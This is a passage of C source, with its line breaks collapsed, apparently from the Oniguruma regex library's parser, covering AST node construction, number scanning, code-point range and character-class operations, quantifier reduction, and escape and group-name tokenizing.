(backrefs[i] <= env->num_mem && IS_NULL(SCANENV_MEM_NODES(env)[backrefs[i]])) { NBREF(node)->state |= NST_RECURSION; /* /...(\1).../ */ break; } } if (back_num <= NODE_BACKREFS_SIZE) { for (i = 0; i < back_num; i++) NBREF(node)->back_static[i] = backrefs[i]; } else { int* p = (int* )xmalloc(sizeof(int) * back_num); if (IS_NULL(p)) { onig_node_free(node); return NULL; } NBREF(node)->back_dynamic = p; for (i = 0; i < back_num; i++) p[i] = backrefs[i]; } return node; } #ifdef USE_SUBEXP_CALL static Node* node_new_call(UChar* name, UChar* name_end, int gnum) { Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_CALL); NCALL(node)->state = 0; NCALL(node)->target = NULL_NODE; NCALL(node)->name = name; NCALL(node)->name_end = name_end; NCALL(node)->group_num = gnum; /* call by number if gnum != 0 */ return node; } #endif static Node* node_new_quantifier(int lower, int upper, int by_number) { Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_QTFR); NQTFR(node)->state = 0; NQTFR(node)->target = NULL; NQTFR(node)->lower = lower; NQTFR(node)->upper = upper; NQTFR(node)->greedy = 1; NQTFR(node)->target_empty_info = NQ_TARGET_ISNOT_EMPTY; NQTFR(node)->head_exact = NULL_NODE; NQTFR(node)->next_head_exact = NULL_NODE; NQTFR(node)->is_refered = 0; if (by_number != 0) NQTFR(node)->state |= NST_BY_NUMBER; #ifdef USE_COMBINATION_EXPLOSION_CHECK NQTFR(node)->comb_exp_check_num = 0; #endif return node; } static Node* node_new_enclose(int type) { Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_ENCLOSE); NENCLOSE(node)->type = type; NENCLOSE(node)->state = 0; NENCLOSE(node)->regnum = 0; NENCLOSE(node)->option = 0; NENCLOSE(node)->target = NULL; NENCLOSE(node)->call_addr = -1; NENCLOSE(node)->opt_count = 0; return node; } extern Node* onig_node_new_enclose(int type) { return node_new_enclose(type); } static Node* node_new_enclose_memory(OnigOptionType option, int is_named) { Node* node = node_new_enclose(ENCLOSE_MEMORY); CHECK_NULL_RETURN(node); if (is_named != 0) SET_ENCLOSE_STATUS(node, NST_NAMED_GROUP); #ifdef USE_SUBEXP_CALL NENCLOSE(node)->option = option; #endif return node; } static Node* node_new_option(OnigOptionType option) { Node* node = node_new_enclose(ENCLOSE_OPTION); CHECK_NULL_RETURN(node); NENCLOSE(node)->option = option; return node; } extern int onig_node_str_cat(Node* node, const UChar* s, const UChar* end) { int addlen = end - s; if (addlen > 0) { int len = NSTR(node)->end - NSTR(node)->s; if (NSTR(node)->capa > 0 || (len + addlen > NODE_STR_BUF_SIZE - 1)) { UChar* p; int capa = len + addlen + NODE_STR_MARGIN; if (capa <= NSTR(node)->capa) { onig_strcpy(NSTR(node)->s + len, s, end); } else { if (NSTR(node)->s == NSTR(node)->buf) p = strcat_capa_from_static(NSTR(node)->s, NSTR(node)->end, s, end, capa); else p = strcat_capa(NSTR(node)->s, NSTR(node)->end, s, end, capa); CHECK_NULL_RETURN_MEMERR(p); NSTR(node)->s = p; NSTR(node)->capa = capa; } } else { onig_strcpy(NSTR(node)->s + len, s, end); } NSTR(node)->end = NSTR(node)->s + len + addlen; } return 0; } extern int onig_node_str_set(Node* node, const UChar* s, const UChar* end) { onig_node_str_clear(node); return onig_node_str_cat(node, s, end); } static int node_str_cat_char(Node* node, UChar c) { UChar s[1]; s[0] = c; return onig_node_str_cat(node, s, s + 1); } extern void onig_node_conv_to_str_node(Node* node, int flag) { SET_NTYPE(node, NT_STR); NSTR(node)->flag = flag; NSTR(node)->capa = 0; NSTR(node)->s = NSTR(node)->buf; NSTR(node)->end = NSTR(node)->buf; } extern void onig_node_str_clear(Node* node) { if (NSTR(node)->capa != 0 && IS_NOT_NULL(NSTR(node)->s) && NSTR(node)->s != NSTR(node)->buf) { xfree(NSTR(node)->s); } NSTR(node)->capa = 0; NSTR(node)->flag = 0; NSTR(node)->s = NSTR(node)->buf; NSTR(node)->end = NSTR(node)->buf; } static Node* node_new_str(const UChar* s, const UChar* end) { Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_STR); NSTR(node)->capa = 0; NSTR(node)->flag = 0; NSTR(node)->s = NSTR(node)->buf; NSTR(node)->end = NSTR(node)->buf; if (onig_node_str_cat(node, s, end)) { onig_node_free(node); return NULL; } return node; } extern Node* onig_node_new_str(const UChar* s, const UChar* end) { return node_new_str(s, end); } static Node* node_new_str_raw(UChar* s, UChar* end) { Node* node = node_new_str(s, end); NSTRING_SET_RAW(node); return node; } static Node* node_new_empty(void) { return node_new_str(NULL, NULL); } static Node* node_new_str_raw_char(UChar c) { UChar p[1]; p[0] = c; return node_new_str_raw(p, p + 1); } static Node* str_node_split_last_char(StrNode* sn, OnigEncoding enc) { const UChar *p; Node* n = NULL_NODE; if (sn->end > sn->s) { p = onigenc_get_prev_char_head(enc, sn->s, sn->end); if (p && p > sn->s) { /* can be split. */ n = node_new_str(p, sn->end); if ((sn->flag & NSTR_RAW) != 0) NSTRING_SET_RAW(n); sn->end = (UChar* )p; } } return n; } static int str_node_can_be_split(StrNode* sn, OnigEncoding enc) { if (sn->end > sn->s) { return ((enclen(enc, sn->s) < sn->end - sn->s) ? 1 : 0); } return 0; } #ifdef USE_PAD_TO_SHORT_BYTE_CHAR static int node_str_head_pad(StrNode* sn, int num, UChar val) { UChar buf[NODE_STR_BUF_SIZE]; int i, len; len = sn->end - sn->s; onig_strcpy(buf, sn->s, sn->end); onig_strcpy(&(sn->s[num]), buf, buf + len); sn->end += num; for (i = 0; i < num; i++) { sn->s[i] = val; } } #endif extern int onig_scan_unsigned_number(UChar** src, const UChar* end, OnigEncoding enc) { unsigned int num, val; OnigCodePoint c; UChar* p = *src; PFETCH_READY; num = 0; while (!PEND) { PFETCH(c); if (ONIGENC_IS_CODE_DIGIT(enc, c)) { val = (unsigned int )DIGITVAL(c); if ((INT_MAX_LIMIT - val) / 10UL < num) return -1; /* overflow */ num = num * 10 + val; } else { PUNFETCH; break; } } *src = p; return num; } static int scan_unsigned_hexadecimal_number(UChar** src, UChar* end, int maxlen, OnigEncoding enc) { OnigCodePoint c; unsigned int num, val; UChar* p = *src; PFETCH_READY; num = 0; while (! PEND && maxlen-- != 0) { PFETCH(c); if (ONIGENC_IS_CODE_XDIGIT(enc, c)) { val = (unsigned int )XDIGITVAL(enc,c); if ((INT_MAX_LIMIT - val) / 16UL < num) return -1; /* overflow */ num = (num << 4) + XDIGITVAL(enc,c); } else { PUNFETCH; break; } } *src = p; return num; } static int scan_unsigned_octal_number(UChar** src, UChar* end, int maxlen, OnigEncoding enc) { OnigCodePoint c; unsigned int num, val; UChar* p = *src; PFETCH_READY; num = 0; while (!PEND && maxlen-- != 0) { PFETCH(c); if (ONIGENC_IS_CODE_DIGIT(enc, c) && c < '8') { val = ODIGITVAL(c); if ((INT_MAX_LIMIT - val) / 8UL < num) return -1; /* overflow */ num = (num << 3) + val; } else { PUNFETCH; break; } } *src = p; return num; } #define BBUF_WRITE_CODE_POINT(bbuf,pos,code) \ BBUF_WRITE(bbuf, pos, &(code), SIZE_CODE_POINT) /* data format: [n][from-1][to-1][from-2][to-2] ... [from-n][to-n] (all data size is OnigCodePoint) */ static int new_code_range(BBuf** pbuf) { #define INIT_MULTI_BYTE_RANGE_SIZE (SIZE_CODE_POINT * 5) int r; OnigCodePoint n; BBuf* bbuf; bbuf = *pbuf = (BBuf* )xmalloc(sizeof(BBuf)); CHECK_NULL_RETURN_MEMERR(*pbuf); r = BBUF_INIT(*pbuf, INIT_MULTI_BYTE_RANGE_SIZE); if (r) return r; n = 0; BBUF_WRITE_CODE_POINT(bbuf, 0, n); return 0; } static int add_code_range_to_buf(BBuf** pbuf, OnigCodePoint from, OnigCodePoint to) { int r, inc_n, pos; int low, high, bound, x; OnigCodePoint n, *data; BBuf* bbuf; if (from > to) { n = from; from = to; to = n; } if (IS_NULL(*pbuf)) { r = new_code_range(pbuf); if (r) return r; bbuf = *pbuf; n = 0; } else { bbuf = *pbuf; GET_CODE_POINT(n, bbuf->p); } data = (OnigCodePoint* )(bbuf->p); data++; for (low = 0, bound = n; low < bound; ) { x = (low + bound) >> 1; if (from > data[x*2 + 1]) low = x + 1; else bound = x; } high = (to == ~((OnigCodePoint )0)) ? n : low; for (bound = n; high < bound; ) { x = (high + bound) >> 1; if (to + 1 >= data[x*2]) high = x + 1; else bound = x; } inc_n = low + 1 - high; if (n + inc_n > ONIG_MAX_MULTI_BYTE_RANGES_NUM) return ONIGERR_TOO_MANY_MULTI_BYTE_RANGES; if (inc_n != 1) { if (from > data[low*2]) from = data[low*2]; if (to < data[(high - 1)*2 + 1]) to = data[(high - 1)*2 + 1]; } if (inc_n != 0 && (OnigCodePoint )high < n) { int from_pos = SIZE_CODE_POINT * (1 + high * 2); int to_pos = SIZE_CODE_POINT * (1 + (low + 1) * 2); int size = (n - high) * 2 * SIZE_CODE_POINT; if (inc_n > 0) { BBUF_MOVE_RIGHT(bbuf, from_pos, to_pos, size); } else { BBUF_MOVE_LEFT_REDUCE(bbuf, from_pos, to_pos); } } pos = SIZE_CODE_POINT * (1 + low * 2); BBUF_ENSURE_SIZE(bbuf, pos + SIZE_CODE_POINT * 2); BBUF_WRITE_CODE_POINT(bbuf, pos, from); BBUF_WRITE_CODE_POINT(bbuf, pos + SIZE_CODE_POINT, to); n += inc_n; BBUF_WRITE_CODE_POINT(bbuf, 0, n); return 0; } static int add_code_range(BBuf** pbuf, ScanEnv* env, OnigCodePoint from, OnigCodePoint to) { if (from > to) { if (IS_SYNTAX_BV(env->syntax, ONIG_SYN_ALLOW_EMPTY_RANGE_IN_CC)) return 0; else return ONIGERR_EMPTY_RANGE_IN_CHAR_CLASS; } return add_code_range_to_buf(pbuf, from, to); } static int not_code_range_buf(OnigEncoding enc, BBuf* bbuf, BBuf** pbuf) { int r, i, n; OnigCodePoint pre, from, *data, to = 0; *pbuf = (BBuf* )NULL; if (IS_NULL(bbuf)) { set_all: return SET_ALL_MULTI_BYTE_RANGE(enc, pbuf); } data = (OnigCodePoint* )(bbuf->p); GET_CODE_POINT(n, data); data++; if (n <= 0) goto set_all; r = 0; pre = MBCODE_START_POS(enc); for (i = 0; i < n; i++) { from = data[i*2]; to = data[i*2+1]; if (pre <= from - 1) { r = add_code_range_to_buf(pbuf, pre, from - 1); if (r != 0) return r; } if (to == ~((OnigCodePoint )0)) break; pre = to + 1; } if (to < ~((OnigCodePoint )0)) { r = add_code_range_to_buf(pbuf, to + 1, ~((OnigCodePoint )0)); } return r; } #define SWAP_BBUF_NOT(bbuf1, not1, bbuf2, not2) do {\ BBuf *tbuf; \ int tnot; \ tnot = not1; not1 = not2; not2 = tnot; \ tbuf = bbuf1; bbuf1 = bbuf2; bbuf2 = tbuf; \ } while (0) static int or_code_range_buf(OnigEncoding enc, BBuf* bbuf1, int not1, BBuf* bbuf2, int not2, BBuf** pbuf) { int r; OnigCodePoint i, n1, *data1; OnigCodePoint from, to; *pbuf = (BBuf* )NULL; if (IS_NULL(bbuf1) && IS_NULL(bbuf2)) { if (not1 != 0 || not2 != 0) return SET_ALL_MULTI_BYTE_RANGE(enc, pbuf); return 0; } r = 0; if (IS_NULL(bbuf2)) SWAP_BBUF_NOT(bbuf1, not1, bbuf2, not2); if (IS_NULL(bbuf1)) { if (not1 != 0) { return SET_ALL_MULTI_BYTE_RANGE(enc, pbuf); } else { if (not2 == 0) { return bbuf_clone(pbuf, bbuf2); } else { return not_code_range_buf(enc, bbuf2, pbuf); } } } if (not1 != 0) SWAP_BBUF_NOT(bbuf1, not1, bbuf2, not2); data1 = (OnigCodePoint* )(bbuf1->p); GET_CODE_POINT(n1, data1); data1++; if (not2 == 0 && not1 == 0) { /* 1 OR 2 */ r = bbuf_clone(pbuf, bbuf2); } else if (not1 == 0) { /* 1 OR (not 2) */ r = not_code_range_buf(enc, bbuf2, pbuf); } if (r != 0) return r; for (i = 0; i < n1; i++) { from = data1[i*2]; to = data1[i*2+1]; r = add_code_range_to_buf(pbuf, from, to); if (r != 0) return r; } return 0; } static int and_code_range1(BBuf** pbuf, OnigCodePoint from1, OnigCodePoint to1, OnigCodePoint* data, int n) { int i, r; OnigCodePoint from2, to2; for (i = 0; i < n; i++) { from2 = data[i*2]; to2 = data[i*2+1]; if (from2 < from1) { if (to2 < from1) continue; else { from1 = to2 + 1; } } else if (from2 <= to1) { if (to2 < to1) { if (from1 <= from2 - 1) { r = add_code_range_to_buf(pbuf, from1, from2-1); if (r != 0) return r; } from1 = to2 + 1; } else { to1 = from2 - 1; } } else { from1 = from2; } if (from1 > to1) break; } if (from1 <= to1) { r = add_code_range_to_buf(pbuf, from1, to1); if (r != 0) return r; } return 0; } static int and_code_range_buf(BBuf* bbuf1, int not1, BBuf* bbuf2, int not2, BBuf** pbuf) { int r; OnigCodePoint i, j, n1, n2, *data1, *data2; OnigCodePoint from, to, from1, to1, from2, to2; *pbuf = (BBuf* )NULL; if (IS_NULL(bbuf1)) { if (not1 != 0 && IS_NOT_NULL(bbuf2)) /* not1 != 0 -> not2 == 0 */ return bbuf_clone(pbuf, bbuf2); return 0; } else if (IS_NULL(bbuf2)) { if (not2 != 0) return bbuf_clone(pbuf, bbuf1); return 0; } if (not1 != 0) SWAP_BBUF_NOT(bbuf1, not1, bbuf2, not2); data1 = (OnigCodePoint* )(bbuf1->p); data2 = (OnigCodePoint* )(bbuf2->p); GET_CODE_POINT(n1, data1); GET_CODE_POINT(n2, data2); data1++; data2++; if (not2 == 0 && not1 == 0) { /* 1 AND 2 */ for (i = 0; i < n1; i++) { from1 = data1[i*2]; to1 = data1[i*2+1]; for (j = 0; j < n2; j++) { from2 = data2[j*2]; to2 = data2[j*2+1]; if (from2 > to1) break; if (to2 < from1) continue; from = MAX(from1, from2); to = MIN(to1, to2); r = add_code_range_to_buf(pbuf, from, to); if (r != 0) return r; } } } else if (not1 == 0) { /* 1 AND (not 2) */ for (i = 0; i < n1; i++) { from1 = data1[i*2]; to1 = data1[i*2+1]; r = and_code_range1(pbuf, from1, to1, data2, n2); if (r != 0) return r; } } return 0; } static int and_cclass(CClassNode* dest, CClassNode* cc, OnigEncoding enc) { int r, not1, not2; BBuf *buf1, *buf2, *pbuf; BitSetRef bsr1, bsr2; BitSet bs1, bs2; not1 = IS_NCCLASS_NOT(dest); bsr1 = dest->bs; buf1 = dest->mbuf; not2 = IS_NCCLASS_NOT(cc); bsr2 = cc->bs; buf2 = cc->mbuf; if (not1 != 0) { bitset_invert_to(bsr1, bs1); bsr1 = bs1; } if (not2 != 0) { bitset_invert_to(bsr2, bs2); bsr2 = bs2; } bitset_and(bsr1, bsr2); if (bsr1 != dest->bs) { bitset_copy(dest->bs, bsr1); bsr1 = dest->bs; } if (not1 != 0) { bitset_invert(dest->bs); } if (! ONIGENC_IS_SINGLEBYTE(enc)) { if (not1 != 0 && not2 != 0) { r = or_code_range_buf(enc, buf1, 0, buf2, 0, &pbuf); } else { r = and_code_range_buf(buf1, not1, buf2, not2, &pbuf); if (r == 0 && not1 != 0) { BBuf *tbuf; r = not_code_range_buf(enc, pbuf, &tbuf); if (r != 0) { bbuf_free(pbuf); return r; } bbuf_free(pbuf); pbuf = tbuf; } } if (r != 0) return r; dest->mbuf = pbuf; bbuf_free(buf1); return r; } return 0; } static int or_cclass(CClassNode* dest, CClassNode* cc, OnigEncoding enc) { int r, not1, not2; BBuf *buf1, *buf2, *pbuf; BitSetRef bsr1, bsr2; BitSet bs1, bs2; not1 = IS_NCCLASS_NOT(dest); bsr1 = dest->bs; buf1 = dest->mbuf; not2 = IS_NCCLASS_NOT(cc); bsr2 = cc->bs; buf2 = cc->mbuf; if (not1 != 0) { bitset_invert_to(bsr1, bs1); bsr1 = bs1; } if (not2 != 0) { bitset_invert_to(bsr2, bs2); bsr2 = bs2; } bitset_or(bsr1, bsr2); if (bsr1 != dest->bs) { bitset_copy(dest->bs, bsr1); bsr1 = dest->bs; } if (not1 != 0) { bitset_invert(dest->bs); } if (! ONIGENC_IS_SINGLEBYTE(enc)) { if (not1 != 0 && not2 != 0) { r = and_code_range_buf(buf1, 0, buf2, 0, &pbuf); } else { r = or_code_range_buf(enc, buf1, not1, buf2, not2, &pbuf); if (r == 0 && not1 != 0) { BBuf *tbuf; r = not_code_range_buf(enc, pbuf, &tbuf); if (r != 0) { bbuf_free(pbuf); return r; } bbuf_free(pbuf); pbuf = tbuf; } } if (r != 0) return r; dest->mbuf = pbuf; bbuf_free(buf1); return r; } else return 0; } static OnigCodePoint conv_backslash_value(OnigCodePoint c, ScanEnv* env) { if (IS_SYNTAX_OP(env->syntax, ONIG_SYN_OP_ESC_CONTROL_CHARS)) { switch (c) { case 'n': return '\n'; case 't': return '\t'; case 'r': return '\r'; case 'f': return '\f'; case 'a': return '\007'; case 'b': return '\010'; case 'e': return '\033'; case 'v': if (IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_ESC_V_VTAB)) return '\v'; break; default: break; } } return c; } static int is_invalid_quantifier_target(Node* node) { switch (NTYPE(node)) { case NT_ANCHOR: return 1; break; case NT_ENCLOSE: /* allow enclosed elements */ /* return is_invalid_quantifier_target(NENCLOSE(node)->target); */ break; case NT_LIST: do { if (! is_invalid_quantifier_target(NCAR(node))) return 0; } while (IS_NOT_NULL(node = NCDR(node))); return 0; break; case NT_ALT: do { if (is_invalid_quantifier_target(NCAR(node))) return 1; } while (IS_NOT_NULL(node = NCDR(node))); break; default: break; } return 0; } /* ?:0, *:1, +:2, ??:3, *?:4, +?:5 */ static int popular_quantifier_num(QtfrNode* q) { if (q->greedy) { if (q->lower == 0) { if (q->upper == 1) return 0; else if (IS_REPEAT_INFINITE(q->upper)) return 1; } else if (q->lower == 1) { if (IS_REPEAT_INFINITE(q->upper)) return 2; } } else { if (q->lower == 0) { if (q->upper == 1) return 3; else if (IS_REPEAT_INFINITE(q->upper)) return 4; } else if (q->lower == 1) { if (IS_REPEAT_INFINITE(q->upper)) return 5; } } return -1; } enum ReduceType { RQ_ASIS = 0, /* as is */ RQ_DEL = 1, /* delete parent */ RQ_A, /* to '*' */ RQ_AQ, /* to '*?' */ RQ_QQ, /* to '??' */ RQ_P_QQ, /* to '+)??' */ RQ_PQ_Q /* to '+?)?' */ }; static enum ReduceType ReduceTypeTable[6][6] = { {RQ_DEL, RQ_A, RQ_A, RQ_QQ, RQ_AQ, RQ_ASIS}, /* '?' */ {RQ_DEL, RQ_DEL, RQ_DEL, RQ_P_QQ, RQ_P_QQ, RQ_DEL}, /* '*' */ {RQ_A, RQ_A, RQ_DEL, RQ_ASIS, RQ_P_QQ, RQ_DEL}, /* '+' */ {RQ_DEL, RQ_AQ, RQ_AQ, RQ_DEL, RQ_AQ, RQ_AQ}, /* '??' */ {RQ_DEL, RQ_DEL, RQ_DEL, RQ_DEL, RQ_DEL, RQ_DEL}, /* '*?' */ {RQ_ASIS, RQ_PQ_Q, RQ_DEL, RQ_AQ, RQ_AQ, RQ_DEL} /* '+?' */ }; extern void onig_reduce_nested_quantifier(Node* pnode, Node* cnode) { int pnum, cnum; QtfrNode *p, *c; p = NQTFR(pnode); c = NQTFR(cnode); pnum = popular_quantifier_num(p); cnum = popular_quantifier_num(c); if (pnum < 0 || cnum < 0) return ; switch(ReduceTypeTable[cnum][pnum]) { case RQ_DEL: *pnode = *cnode; break; case RQ_A: p->target = c->target; p->lower = 0; p->upper = REPEAT_INFINITE; p->greedy = 1; break; case RQ_AQ: p->target = c->target; p->lower = 0; p->upper = REPEAT_INFINITE; p->greedy = 0; break; case RQ_QQ: p->target = c->target; p->lower = 0; p->upper = 1; p->greedy = 0; break; case RQ_P_QQ: p->target = cnode; p->lower = 0; p->upper = 1; p->greedy = 0; c->lower = 1; c->upper = REPEAT_INFINITE; c->greedy = 1; return ; break; case RQ_PQ_Q: p->target = cnode; p->lower = 0; p->upper = 1; p->greedy = 1; c->lower = 1; c->upper = REPEAT_INFINITE; c->greedy = 0; return ; break; case RQ_ASIS: p->target = cnode; return ; break; } c->target = NULL_NODE; onig_node_free(cnode); } enum TokenSyms { TK_EOT = 0, /* end of token */ TK_RAW_BYTE = 1, TK_CHAR, TK_STRING, TK_CODE_POINT, TK_ANYCHAR, TK_CHAR_TYPE, TK_BACKREF, TK_CALL, TK_ANCHOR, TK_OP_REPEAT, TK_INTERVAL, TK_ANYCHAR_ANYTIME, /* SQL '%' == .* */ TK_ALT, TK_SUBEXP_OPEN, TK_SUBEXP_CLOSE, TK_CC_OPEN, TK_QUOTE_OPEN, TK_CHAR_PROPERTY, /* \p{...}, \P{...} */ /* in cc */ TK_CC_CLOSE, TK_CC_RANGE, TK_POSIX_BRACKET_OPEN, TK_CC_AND, /* && */ TK_CC_CC_OPEN /* [ */ }; typedef struct { enum TokenSyms type; int escaped; int base; /* is number: 8, 16 (used in [....]) */ UChar* backp; union { UChar* s; int c; OnigCodePoint code; int anchor; int subtype; struct { int lower; int upper; int greedy; int possessive; } repeat; struct { int num; int ref1; int* refs; int by_name; #ifdef USE_BACKREF_WITH_LEVEL int exist_level; int level; /* \k<name+n> */ #endif } backref; struct { UChar* name; UChar* name_end; int gnum; } call; struct { int ctype; int not; } prop; } u; } OnigToken; static int fetch_range_quantifier(UChar** src, UChar* end, OnigToken* tok, ScanEnv* env) { int low, up, syn_allow, non_low = 0; int r = 0; OnigCodePoint c; OnigEncoding enc = env->enc; UChar* p = *src; PFETCH_READY; syn_allow = IS_SYNTAX_BV(env->syntax, ONIG_SYN_ALLOW_INVALID_INTERVAL); if (PEND) { if (syn_allow) return 1; /* "....{" : OK! */ else return ONIGERR_END_PATTERN_AT_LEFT_BRACE; /* "....{" syntax error */ } if (! syn_allow) { c = PPEEK; if (c == ')' || c == '(' || c == '|') { return ONIGERR_END_PATTERN_AT_LEFT_BRACE; } } low = onig_scan_unsigned_number(&p, end, env->enc); if (low < 0) return ONIGERR_TOO_BIG_NUMBER_FOR_REPEAT_RANGE; if (low > ONIG_MAX_REPEAT_NUM) return ONIGERR_TOO_BIG_NUMBER_FOR_REPEAT_RANGE; if (p == *src) { /* can't read low */ if (IS_SYNTAX_BV(env->syntax, ONIG_SYN_ALLOW_INTERVAL_LOW_ABBREV)) { /* allow {,n} as {0,n} */ low = 0; non_low = 1; } else goto invalid; } if (PEND) goto invalid; PFETCH(c); if (c == ',') { UChar* prev = p; up = onig_scan_unsigned_number(&p, end, env->enc); if (up < 0) return ONIGERR_TOO_BIG_NUMBER_FOR_REPEAT_RANGE; if (up > ONIG_MAX_REPEAT_NUM) return ONIGERR_TOO_BIG_NUMBER_FOR_REPEAT_RANGE; if (p == prev) { if (non_low != 0) goto invalid; up = REPEAT_INFINITE; /* {n,} : {n,infinite} */ } } else { if (non_low != 0) goto invalid; PUNFETCH; up = low; /* {n} : exact n times */ r = 2; /* fixed */ } if (PEND) goto invalid; PFETCH(c); if (IS_SYNTAX_OP(env->syntax, ONIG_SYN_OP_ESC_BRACE_INTERVAL)) { if (c != MC_ESC(env->syntax)) goto invalid; PFETCH(c); } if (c != '}') goto invalid; if (!IS_REPEAT_INFINITE(up) && low > up) { return ONIGERR_UPPER_SMALLER_THAN_LOWER_IN_REPEAT_RANGE; } tok->type = TK_INTERVAL; tok->u.repeat.lower = low; tok->u.repeat.upper = up; *src = p; return r; /* 0: normal {n,m}, 2: fixed {n} */ invalid: if (syn_allow) { /* *src = p; */ /* !!! Don't do this line !!! */ return 1; /* OK */ } else return ONIGERR_INVALID_REPEAT_RANGE_PATTERN; } /* \M-, \C-, \c, or \... */ static int fetch_escaped_value(UChar** src, UChar* end, ScanEnv* env, OnigCodePoint* val) { int v; OnigCodePoint c; OnigEncoding enc = env->enc; UChar* p = *src; if (PEND) return ONIGERR_END_PATTERN_AT_ESCAPE; PFETCH_S(c); switch (c) { case 'M': if (IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_ESC_CAPITAL_M_BAR_META)) { if (PEND) return ONIGERR_END_PATTERN_AT_META; PFETCH_S(c); if (c != '-') return ONIGERR_META_CODE_SYNTAX; if (PEND) return ONIGERR_END_PATTERN_AT_META; PFETCH_S(c); if (c == MC_ESC(env->syntax)) { v = fetch_escaped_value(&p, end, env, &c); if (v < 0) return v; } c = ((c & 0xff) | 0x80); } else goto backslash; break; case 'C': if (IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_ESC_CAPITAL_C_BAR_CONTROL)) { if (PEND) return ONIGERR_END_PATTERN_AT_CONTROL; PFETCH_S(c); if (c != '-') return ONIGERR_CONTROL_CODE_SYNTAX; goto control; } else goto backslash; case 'c': if (IS_SYNTAX_OP(env->syntax, ONIG_SYN_OP_ESC_C_CONTROL)) { control: if (PEND) return ONIGERR_END_PATTERN_AT_CONTROL; PFETCH_S(c); if (c == '?') { c = 0177; } else { if (c == MC_ESC(env->syntax)) { v = fetch_escaped_value(&p, end, env, &c); if (v < 0) return v; } c &= 0x9f; } break; } /* fall through */ default: { backslash: c = conv_backslash_value(c, env); } break; } *src = p; *val = c; return 0; } static int fetch_token(OnigToken* tok, UChar** src, UChar* end, ScanEnv* env); static OnigCodePoint get_name_end_code_point(OnigCodePoint start) { switch (start) { case '<': return (OnigCodePoint )'>'; break; case '\'': return (OnigCodePoint )'\''; break; default: break; } return (OnigCodePoint )0; } #ifdef USE_NAMED_GROUP #ifdef USE_BACKREF_WITH_LEVEL /* \k<name+n>, \k<name-n> \k<num+n>, \k<num-n> \k<-num+n>, \k<-num-n> */ static int fetch_name_with_level(OnigCodePoint start_code, UChar** src, UChar* end, UChar** rname_end, ScanEnv* env, int* rback_num, int* rlevel) { int r, sign, is_num, exist_level; OnigCodePoint end_code; OnigCodePoint c = 0; OnigEncoding enc = env->enc; UChar *name_end; UChar *pnum_head; UChar *p = *src; PFETCH_READY; *rback_num = 0; is_num = exist_level = 0; sign = 1; pnum_head = *src; end_code = get_name_end_code_point(start_code); name_end = end; r = 0; if (PEND) { return ONIGERR_EMPTY_GROUP_NAME; } else { PFETCH(c); if (c == end_code) return ONIGERR_EMPTY_GROUP_NAME; if (ONIGENC_IS_CODE_DIGIT(enc, c)) { is_num = 1; } else if (c == '-') { is_num = 2; sign = -1; pnum_head = p; } else if (!ONIGENC_IS_CODE_WORD(enc, c)) { r = ONIGERR_INVALID_CHAR_IN_GROUP_NAME; } } while (!PEND) { name_end = p; PFETCH(c); if (c == end_code || c == ')' || c == '+' || c == '-') { if (is_num == 2) r = ONIGERR_INVALID_GROUP_NAME; break; } if (is_num != 0) { if (ONIGENC_IS_CODE_DIGIT(enc, c)) { is_num = 1; } else { r = ONIGERR_INVALID_GROUP_NAME; is_num = 0; } } else if (!ONIGENC_IS_CODE_WORD(enc, c)) { r = ONIGERR_INVALID_CHAR_IN_GROUP_NAME; } } if (r == 0 && c != end_code) { if (c == '+' || c == '-') { int level; int flag = (c == '-' ? -1 : 1); if (PEND) { r = ONIGERR_INVALID_CHAR_IN_GROUP_NAME; goto end; } PFETCH(c); if (! ONIGENC_IS_CODE_DIGIT(enc, c)) goto err; PUNFETCH; level = onig_scan_unsigned_number(&p, end, enc); if (level < 0) return ONIGERR_TOO_BIG_NUMBER; *rlevel = (level * flag); exist_level = 1; if (!PEND) { PFETCH(c); if (c == end_code) goto end; } } err: r = ONIGERR_INVALID_GROUP_NAME; name_end = end; } end: if (r == 0) { if (is_num != 0) { *rback_num = onig_scan_unsigned_number(&pnum_head, name_end, enc); if (*rback_num < 0) return ONIGERR_TOO_BIG_NUMBER; else if (*rback_num == 0) goto err; *rback_num *= sign; } *rname_end = name_end; *src = p; return (exist_level ? 1 : 0); } else { onig_scan_env_set_error_string(env, r, *src, name_end); return r; } } #endif /* USE_BACKREF_WITH_LEVEL */ /* ref: 0 -> define name (don't allow number name) 1 -> reference name (allow number name) */ static int fetch_name(OnigCodePoint start_code, UChar** src, UChar* end, UChar** rname_end, ScanEnv* env, int* rback_num, int ref) { int r, is_num, sign; OnigCodePoint end_code; OnigCodePoint c = 0; OnigEncoding enc = env->enc; UChar *name_end; UChar *pnum_head; UChar *p = *src; *rback_num = 0; end_code = get_name_end_code_point(start_code); name_end = end; pnum_head = *src; r = 0; is_num = 0; sign = 1; if (PEND) { return ONIGERR_EMPTY_GROUP_NAME; } else { PFETCH_S(c); if (c == end_code) return ONIGERR_EMPTY_GROUP_NAME; if (ONIGENC_IS_CODE_DIGIT(enc, c)) { if (ref == 1) is_num = 1; else { r = ONIGERR_INVALID_GROUP_NAME; is_num = 0; } } else if (c == '-') { if (ref == 1) { is_num = 2; sign = -1; pnum_head = p; } else { r = ONIGERR_INVALID_GROUP_NAME; is_num = 0; } } else if (!ONIGENC_IS_CODE_WORD(enc, c)) { r = ONIGERR_INVALID_CHAR_IN_GROUP_NAME; } } if (r == 0) { while (!PEND) { name_end = p; PFETCH_S(c); if (c == end_code || c == ')') { if (is_num == 2) r = ONIGERR_INVALID_GROUP_NAME; break; } if (is_num != 0) { if (ONIGENC_IS_CODE_DIGIT(enc, c)) { is_num = 1; } else { if (!ONIGENC_IS_CODE_WORD(enc, c)) r = ONIGERR_INVALID_CHAR_IN_GROUP_NAME; else r = ONIGERR_INVALID_GROUP_NAME; is_num = 0; } } else { if (!ONIGENC_IS_CODE_WORD(enc, c)) { r = ONIGERR_INVALID_CHAR_IN_GROUP_NAME; } } } if (c != end_code) { r = ONIGERR_INVALID_GROUP_NAME; name_end = end; } if (is_num != 0) { *rback_num = onig_scan_unsigned_number(&pnum_head, name_end, enc); if (*rback_num < 0) return ONIGERR_TOO_BIG_NUMBER; else if (*rback_num == 0) { r = ONIGERR_INVALID_GROUP_NAME; goto err; } *rback_num *= sign; } *rname_end = name_end; 